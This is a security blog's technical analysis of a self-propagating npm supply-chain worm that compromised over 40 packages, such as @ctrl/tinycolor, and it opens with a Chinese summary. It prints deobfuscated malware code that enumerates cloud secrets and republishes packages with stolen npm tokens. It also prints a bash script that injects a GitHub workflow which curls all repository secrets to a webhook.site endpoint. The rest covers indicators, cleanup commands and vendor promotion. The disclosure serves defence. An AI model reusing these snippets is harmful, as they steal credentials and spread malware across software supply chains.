自传播 NPM 恶意软件已破坏超过 40 个软件包
Self Propagating NPM Malware Compromises over 40 Packages

原始链接: https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised

## NPM供应链攻击:摘要 NPM生态系统遭受了一次关键的供应链攻击,影响了超过40个软件包,包括流行的`@ctrl/tinycolor`(每周下载量超过200万次)。这次攻击的显著特点是其自我传播的恶意软件,会自动感染下游软件包,造成级联式妥协。 该恶意软件是一个约3.6MB的JavaScript包,从受感染的系统中收集凭据(GitHub令牌、AWS密钥、GCP密钥),并将其泄露到公共GitHub仓库("Shai-Hulud")。它针对Linux/macOS系统,跳过Windows,并通过恶意的GitHub Actions工作流建立持久性。 该攻击利用Node.js模块、Webpack和API进行侦察、凭据访问和传播。受感染的版本已被从NPM中删除,但立即采取行动至关重要。 **主要建议:** 识别并删除受影响的软件包,轮换*所有*凭据,审计云基础设施,并实施更强的安全控制(GitHub加固、依赖项监控)。像StepSecurity这样的安全工具提供功能,可以通过软件包冷静期、CI/CD监控和制品监控来检测和防止类似攻击。

## NPM供应链攻击与生态系统问题 最近一次自我传播的恶意软件攻击影响了超过40个NPM软件包,引发了关于JavaScript生态系统固有漏洞的讨论。许多评论员认为,由于NPM依赖结构的复杂性——拥有超过310万个软件包,而Maven只有6190万个——以及“漫不经心”的开发文化,供应链攻击现在是不可避免的。 提出的解决方案范围从更严格的依赖管理(供应商、使用HTMX等工具进行服务器端渲染)到更强大的安全措施。想法包括包级别权限(类似于Deno)、基于能力的安全性以及强制软件包签名。然而,人们仍然担心性能损失和可用性障碍。 一些用户指出NPM依赖于容易被攻破的CI令牌,并质疑问题是否是NPM本身固有的系统性问题,或者更广泛的运营复杂性问题。 还有人强调了开发者缺乏安全意识以及倾向于依赖众多、通常是微不足道的软件包。 最终,这场讨论凸显了人们对现代JavaScript开发中固有安全风险日益增长的担忧。
相关文章

原文

Executive Summary

The NPM ecosystem is facing another critical supply chain attack. The popular @ctrl/tinycolor package, which receives over 2 million weekly downloads, has been compromised along with more than 40 other packages across multiple maintainers. This attack demonstrates a concerning evolution in supply chain threats - the malware includes a self-propagating mechanism that automatically infects downstream packages, creating a cascading compromise across the ecosystem. The compromised versions have been removed from npm.

The incident was discovered by @franky47, who promptly notified the community through a GitHub issue.

In this post, we'll dive deep into the payload's mechanics, including deobfuscated code snippets, API call traces, and diagrams to illustrate the attack chain. Our analysis reveals a Webpack-bundled script (bundle.js) that leverages Node.js modules for reconnaissance, harvesting, and propagation; targeting Linux/macOS devs with access to NPM/GitHub/cloud creds.

Technical Analysis

The attack unfolds through a sophisticated multi-stage chain that leverages Node.js's process.env for opportunistic credential access and employs Webpack-bundled modules for modularity. At the core of this attack is a ~3.6MB minified bundle.js file, which executes asynchronously during npm install. This execution is likely triggered via a hijacked postinstall script embedded in the compromised package.json.

Self-Propagation Engine

The malware includes a self-propagation mechanism through the NpmModule.updatePackage function. This function queries the NPM registry API to fetch up to 20 packages owned by the maintainer, then force-publishes patches to these packages. This creates a cascading compromise effect, recursively injecting the malicious bundle into dependent ecosystems across the NPM registry.

Credential Harvesting

The malware repurposes open-source tools like TruffleHog to scan the filesystem for high-entropy secrets. It searches for patterns such as AWS keys using regular expressions like AKIA[0-9A-Z]{16}. Additionally, the malware dumps the entire process.env, capturing transient tokens such as GITHUB_TOKEN and AWS_ACCESS_KEY_ID.

For cloud-specific operations, the malware enumerates AWS Secrets Manager using SDK pagination and accesses Google Cloud Platform secrets via the @google-cloud/secret-manager API. The malware specifically targets the following credentials:

  1. GitHub personal access tokens
  2. AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  3. Google Cloud Platform service credentials
  4. Azure credentials
  5. Cloud metadata endpoints
  6. NPM authentication tokens

Persistence Mechanism

The malware establishes persistence by injecting a GitHub Actions workflow file (.github/workflows/shai-hulud-workflow.yml) via a base64-encoded bash script. This workflow triggers on push events and exfiltrates repository secrets using the expression ${{ toJSON(secrets) }} to a command and control endpoint. The malware creates branches by force-merging from the default branch (refs/heads/shai-hulud) using GitHub's /git/refs endpoint.

Data Exfiltration

The malware aggregates harvested credentials into a JSON payload, which is pretty-printed for readability. It then uploads this data to a new public repository named Shai-Hulud via the GitHub /user/repos API.

The entire attack design assumes Linux or macOS execution environments, checking for os.platform() === 'linux' || 'darwin'. It deliberately skips Windows systems. For a visual breakdown, see the attack flow diagram below:

Attack Mechanism

The compromise begins with a sophisticated minified JavaScript bundle injected into affected packages like @ctrl/tinycolor. This is not rudimentary malware but rather a sophisticated modular engine that uses Webpack chunks to organize OS utilities, cloud SDKs, and API wrappers.

The payload imports six core modules, each serving a specific function in the attack chain.

OS Recon (Module 71197)

This module calls getSystemInfo() to build a comprehensive system profile containing platform, architecture, platformRaw, and archRaw information. It dumps the entire process.env, capturing sensitive environment variables including AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and other credentials that may be present in the environment.

Credential Harvesting Across Clouds

AWS (Module 56686)

The AWS harvesting module validates credentials using the STS AssumeRoleWithWebIdentityCommand. It then enumerates secrets using the @aws-sdk/client-secrets-manager library.

// Deobfuscated AWS harvest snippet
async getAllSecretValues() {
  const secrets = [];
  let nextToken;
  do {
    const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
    for (const secret of resp.SecretList || []) {
      const value = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
      secrets.push({ ARN: secret.ARN, SecretString: value.SecretString, SecretBinary: atob(value.SecretBinary) });  // Base64 decode binaries
    }
    nextToken = resp.NextToken;
  } while (nextToken);
  return secrets;
}

The module handles errors such as DecryptionFailure or ResourceNotFoundException silently through decorateServiceException wrappers. It targets all AWS regions via endpoint resolution.

GCP (Module 9897)

The GCP module uses @google-cloud/secret-manager to list secrets matching the pattern projects//secrets/. It implements pagination using nextPageToken and returns objects containing the secret name and decoded payload. The module fails silently on PERMISSION_DENIED errors without alerting the user.

Filesystem Secret Scanning (Module 94913)

This module spawns TruffleHog via child_process.exec('trufflehog filesystem / --json') to scan the entire filesystem. It parses the output for high-entropy matches, such as AWS keys found in ~/.aws/credentials.

Propagation Mechanics

NPM Pivot (Module 40766)

The NPM propagation module parses NPM_TOKEN from either ~/.npmrc or environment variables. After validating the token via the /whoami endpoint, it queries /v1/search?text=maintainer:${username}&size=20 to retrieve packages owned by the maintainer.

// Deobfuscated NPM update snippet
async updatePackage(pkg) {
  // Patch package.json (add self as dep?) and publish
  await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}

This creates a cascading effect where an infected package leads to compromised maintainer credentials, which in turn infects all other packages maintained by that user.

GitHub Backdoor (Module 82036)

The GitHub backdoor module authenticates via the /user endpoint, requiring repo and workflow scopes. After listing organizations, it injects malicious code via a bash script (Module 941).

Here is the line-by-line bash script deconstruction:

# Deobfuscated Code snippet
#!/bin/bash
GITHUB_TOKEN="$1"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<'EOF'
on: push  # Trigger on any push
jobs: process
  runs-on: ubuntu-latest
  steps:
  - run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7;  # C2 exfil
         echo "$CONTENTS" | base64 -w 0 | base64 -w 0  # Double-base64 for evasion
    env: CONTENTS: ${{ toJSON(secrets) }}  # Dumps all repo secrets (GITHUB_TOKEN, AWS keys, etc.)
EOF
)

github_api() { curl -s -X "$1" -H "Authorization: token $GITHUB_TOKEN" ... "$API_BASE$2" }

REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")

while IFS= read -r repo; do
  # Get default branch SHA
  REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
  BASE_SHA=$(jq -r '.object.sha' <<< "$REF_RESPONSE")

  BRANCH_DATA=$(jq -n '{ref: "refs/heads/shai-hulud", sha: "$BASE_SHA"}')
  github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA"  # Handles "already exists" gracefully

  FILE_DATA=$(jq -n '{message: "Add workflow", content: "$(base64 <<< "$FILE_CONTENT")", branch: "shai-hulud"}')
  github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA"  # Overwrites if exists
done

This mechanism ensures persistence, as secrets are exfiltrated to the command and control server on the next push event.

Exfiltration

The malware builds a comprehensive JSON payload containing system information, environment variables, and data from all modules. It then creates a public repository via the GitHub /repos POST endpoint using the function makeRepo('Shai-Hulud'). The repository is public by default to ensure easy access for the command and control infrastructure.

The attack employs several evasion techniques including silent error handling (swallowed via catch {} blocks), no logging output, and disguising TruffleHog execution as a legitimate "security scan."

Indicators of Compromise

The following indicators can help identify systems affected by this attack:

GitHub Search Queries for Detection

Use these GitHub search queries to identify potentially compromised repositories across your organization:

Search for malicious workflow file

Replace ACME with your GitHub organization name and use the following GitHub search query to discover all instance of shai-hulud-workflow.yml in your GitHub environment.

https://github.com/search?q=org%3AACME+path%3A**%2Fshai-hulud-workflow.yml&type=code

Search for malicious branch

To find malicious branches, you can use the following Bash script:

# List all repos and check for shai-hulud branch
gh repo list YOUR_ORG_NAME --limit 1000 --json nameWithOwner --jq '.[].nameWithOwner' | while read repo; do
  gh api "repos/$repo/branches" --jq '.[] | select(.name == "shai-hulud") | "'$repo' has branch: " + .name'
done

File Hashes

  • The malicious bundle.js file has a SHA-256 hash of: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Network Indicators

  • Exfiltration endpoint: https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

File System Indicators

  • Presence of malicious workflow file: .github/workflows/shai-hulud-workflow.yml

Suspicious Function Calls

  • Calls to NpmModule.updatePackage function

Suspicious API Calls

  • AWS API calls to secretsmanager.*.amazonaws.com endpoints, particularly BatchGetSecretValueCommand
  • GCP API calls to secretmanager.googleapis.com
  • NPM registry queries to registry.npmjs.org/v1/search
  • GitHub API calls to api.github.com/repos

Suspicious Process Executions

  • TruffleHog execution with arguments filesystem /
  • NPM publish commands with --force flag
  • Curl commands targeting webhook.site domains

Affected Packages

The following packages have been confirmed as compromised:

Package Name Version(s)
@ctrl/tinycolor 4.1.1, 4.1.2
angulartics2 14.1.2
@ctrl/deluge 7.2.2
@ctrl/golang-template 1.4.3
@ctrl/magnet-link 4.0.4
@ctrl/ngx-codemirror 7.0.2
@ctrl/ngx-csv 6.0.2
@ctrl/ngx-emoji-mart 9.2.2
@ctrl/ngx-rightclick 4.0.2
@ctrl/qbittorrent 9.7.2
@ctrl/react-adsense 2.0.2
@ctrl/shared-torrent 6.3.2
@ctrl/torrent-file 4.1.2
@ctrl/transmission 7.3.1
@ctrl/ts-base32 4.0.2
encounter-playground 0.0.5
json-rules-engine-simplified 0.2.4, 0.2.1
koa2-swagger-ui 5.11.2, 5.11.1
@nativescript-community/gesturehandler 2.0.35
@nativescript-community/sentry 4.6.43
@nativescript-community/text 1.6.13
@nativescript-community/ui-collectionview 6.0.6
@nativescript-community/ui-drawer 0.1.30
@nativescript-community/ui-image 4.5.6
@nativescript-community/ui-material-bottomsheet 7.2.72
@nativescript-community/ui-material-core 7.2.76
@nativescript-community/ui-material-core-tabs 7.2.76
ngx-color 10.0.2
ngx-toastr 19.0.2
ngx-trend 8.0.1
react-complaint-image 0.0.35
react-jsonschema-form-conditionals 0.3.21
react-jsonschema-form-extras 1.0.4
rxnt-authentication 0.0.6
rxnt-healthchecks-nestjs 1.0.5
rxnt-kue 1.0.7
swc-plugin-component-annotate 1.9.2
ts-gaussian 3.0.6

Immediate Actions Required

If you use any of the affected packages, take these actions immediately:

Identify and Remove Compromised Packages

# Check for affected packages in your project
npm ls @ctrl/tinycolor

# Remove compromised packages
npm uninstall @ctrl/tinycolor

# Search for the known malicious bundle.js by hash
find . -type f -name "*.js" -exec sha256sum {} \; | grep "46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09"

Clean Infected Repositories

Remove Malicious GitHub Actions Workflow

# Check for and remove the backdoor workflow
rm -f .github/workflows/shai-hulud-workflow.yml

# Look for suspicious 'shai-hulud' branches in all repositories
git ls-remote --heads origin | grep shai-hulud

# Delete any malicious branches found
git push origin --delete shai-hulud

Rotate All Credentials Immediately

The malware harvests credentials from multiple sources. Rotate ALL of the following:

  • NPM tokens (automation and publish tokens)
  • GitHub personal access tokens
  • GitHub Actions secrets in all repositories
  • SSH keys used for Git operations
  • AWS IAM credentials, access keys, and session tokens
  • Google Cloud service account keys and OAuth tokens
  • Azure service principals and access tokens
  • Any credentials stored in AWS Secrets Manager or GCP Secret Manager
  • API keys found in environment variables
  • Database connection strings
  • Third-party service tokens
  • CI/CD pipeline secrets

Audit Cloud Infrastructure for Compromise

Since the malware specifically targets AWS Secrets Manager and GCP Secret Manager, you need to audit your cloud infrastructure for unauthorized access. The malware uses API calls to enumerate and exfiltrate secrets, so reviewing audit logs is critical to understanding the scope of compromise.

AWS Security Audit

Start by examining your CloudTrail logs for any suspicious secret access patterns. Look specifically for BatchGetSecretValue, ListSecrets, and GetSecretValue API calls that occurred during the time window when the compromised package may have been installed. Also generate and review IAM credential reports to identify any unusual authentication patterns or newly created access keys.

# Check CloudTrail for suspicious secret access
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=BatchGetSecretValue
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ListSecrets
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue

# Review IAM credential reports for unusual activity
aws iam get-credential-report --query 'Content'

GCP Security Audit

For Google Cloud Platform, review your audit logs for any access to the Secret Manager service. The malware uses the @google-cloud/secret-manager library to enumerate secrets, so look for unusual patterns of secret access. Additionally, check for any unauthorized service account key creation, as these could be used for persistent access.

# Review secret manager access logs
gcloud logging read "resource.type=secretmanager.googleapis.com" --limit=50 --format=json

# Check for unauthorized service account key creation
gcloud logging read "protoPayload.methodName=google.iam.admin.v1.CreateServiceAccountKey"

Monitor for Active Exploitation

Network Monitoring

  • Block outbound connections to webhook.site domains immediately
  • Monitor firewall logs for connections to https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Implement Security Controls

GitHub Security Hardening

  • Review and remove unnecessary GitHub Apps and OAuth applications
  • Audit all repository webhooks for unauthorized additions
  • Check deploy keys and repository secrets for all projects
  • Enable branch protection rules to prevent force-pushes
  • Turn on GitHub Secret Scanning alerts
  • Enable Dependabot security updates

Ongoing Monitoring

  • Set up alerts for any new npm publishes from your organization
  • Monitor CloudTrail/GCP audit logs for secret access patterns
  • Implement regular credential rotation policies
  • Use separate, limited-scope tokens for CI/CD pipelines

For StepSecurity Enterprise Customers

The following steps are applicable only for StepSecurity enterprise customers. If you are not an existing enterprise customer, you can start our 14 day free trial by installing the StepSecurity GitHub App to complete the following recovery step.


Use NPM Package Cooldown Check

The NPM Cooldown check automatically fails a pull request if it introduces an npm package version that was released within the organization’s configured cooldown period (default: 2 days). Once the cooldown period has passed, the check will clear automatically with no action required. The rationale is simple - most supply chain attacks are detected within the first 24 hours of a malicious package release, and the projects that get compromised are often the ones that rushed to adopt the version immediately. By introducing a short waiting period before allowing new dependencies, teams can reduce their exposure to fresh attacks while still keeping their dependencies up to date.

Here is an example showing how this check protected a project from using the compromised versions of packages involved in this incident:

https://github.com/step-security/test-reporting/pull/16/checks?check_run_id=49850926488

Discover Pull Requests upgrading to compromised npm packages

We have added a new control specifically to detect pull requests that upgraded to these compromised packages. You can find the new control on the StepSecurity dashboard.

Use StepSecurity Harden-Runner to detect compromised dependencies in CI/CD

StepSecurity Harden-Runner adds runtime security monitoring to your GitHub Actions workflows, providing visibility into network calls, file system changes, and process executions during CI/CD runs. Harden-Runner detects the compromised nx packages when they are used in CI/CD. Here is a sample Harden-Runner insights page demonstrating this detection:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/17259145119

If you're already using Harden-Runner, we strongly recommend you review recent anomaly detections in your Harden-Runner dashboard. You can get started with Harden-Runner by following the guide at https://docs.stepsecurity.io/harden-runner.

Use StepSecurity Artifact Monitor to detect software releases outside of authorized pipelines

StepSecurity Artifact Monitor provides real-time detection of unauthorized package releases by continuously monitoring your artifacts across package registries. This tool would have flagged this incident by detecting that the compromised versions were published outside of the project's authorized CI/CD pipeline. The monitor tracks release patterns, verifies provenance, and alerts teams when packages are published through unusual channels or from unexpected locations. By implementing Artifact Monitor, organizations can catch supply chain compromises within minutes rather than hours or days, significantly reducing the window of exposure to malicious packages.

Learn more about implementing Artifact Monitor in your security workflow at https://docs.stepsecurity.io/artifact-monitor.

Reference

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